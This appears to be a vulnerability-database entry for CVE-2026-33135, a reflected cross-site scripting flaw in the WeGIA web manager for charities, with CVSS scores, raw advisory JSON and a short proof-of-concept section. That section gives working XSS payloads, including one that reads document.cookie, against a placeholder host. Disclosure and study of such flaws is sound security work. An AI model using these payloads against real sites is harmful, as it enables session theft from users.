Security Vulnerability Report
中文
CVE-2026-33135 CVSS 9.3 CRITICAL

CVE-2026-33135

Published: 2026-03-20 11:18:03
Last Modified: 2026-03-20 19:25:45

Description

WeGIA is a web manager for charitable institutions. Versions 3.6.6 and below have a Reflected Cross-Site Scripting (XSS) vulnerability in the novo_memorandoo.php endpoint. An attacker can inject arbitrary JavaScript into the sccs GET parameter, which is directly echoed into the HTML response without any sanitization or encoding. The script /html/memorando/novo_memorandoo.php reads HTTP GET parameters to display dynamic success messages to the user. At approximately line 273, the code checks if $_GET['msg'] equals 'success'. If true, it directly concatenates $_GET['sccs'] into an HTML alert <div> and outputs it to the browser. This issue has been fixed in version 3.6.7.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:* - VULNERABLE
WeGIA <= 3.6.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-33135 // The vulnerable endpoint 'novo_memorandoo.php' reflects the 'sccs' parameter without sanitization. // Attackers can inject arbitrary JavaScript into the 'sccs' parameter. // Example URL to trigger the vulnerability: // http://target.com/html/memorando/novo_memorandoo.php?msg=success&sccs=<script>alert('CVE-2026-33135')</script> // Alternative payload using img tag to demonstrate execution: // http://target.com/html/memorando/novo_memorandoo.php?msg=success&sccs=<img src=x onerror=alert(document.cookie)> fetch('http://target.com/html/memorando/novo_memorandoo.php?msg=success&sccs=<script>alert(1)</script>') .then(response => response.text()) .then(data => console.log(data));

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33135", "sourceIdentifier": "[email protected]", "published": "2026-03-20T11:18:03.360", "lastModified": "2026-03-20T19:25:45.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a web manager for charitable institutions. Versions 3.6.6 and below have a Reflected Cross-Site Scripting (XSS) vulnerability in the novo_memorandoo.php endpoint. An attacker can inject arbitrary JavaScript into the sccs GET parameter, which is directly echoed into the HTML response without any sanitization or encoding. The script /html/memorando/novo_memorandoo.php reads HTTP GET parameters to display dynamic success messages to the user. At approximately line 273, the code checks if $_GET['msg'] equals 'success'. If true, it directly concatenates $_GET['sccs'] into an HTML alert <div> and outputs it to the browser. This issue has been fixed in version 3.6.7."}, {"lang": "es", "value": "WeGIA es un gestor web para instituciones benéficas. Las versiones 3.6.6 e inferiores tienen una vulnerabilidad de Cross-Site Scripting (XSS) Reflejado en el endpoint novo_memorandoo.php. Un atacante puede inyectar JavaScript arbitrario en el parámetro GET sccs, el cual es directamente reflejado en la respuesta HTML sin ninguna sanitización o codificación. El script /html/memorando/novo_memorandoo.php lee parámetros GET HTTP para mostrar mensajes de éxito dinámicos al usuario. Aproximadamente en la línea 273, el código verifica si $_GET['msg'] es igual a 'success'. Si es verdadero, concatena directamente $_GET['sccs'] en un de alerta HTML y lo envía al navegador. Este problema ha sido solucionado en la versión 3.6.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.7", "matchCriteriaId": "2D7D6601-2E0C-45E4-BD44-829D2FD7F97C"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/pull/1459", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/3.6.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-w5rv-5884-w94v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-w5rv-5884-w94v", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}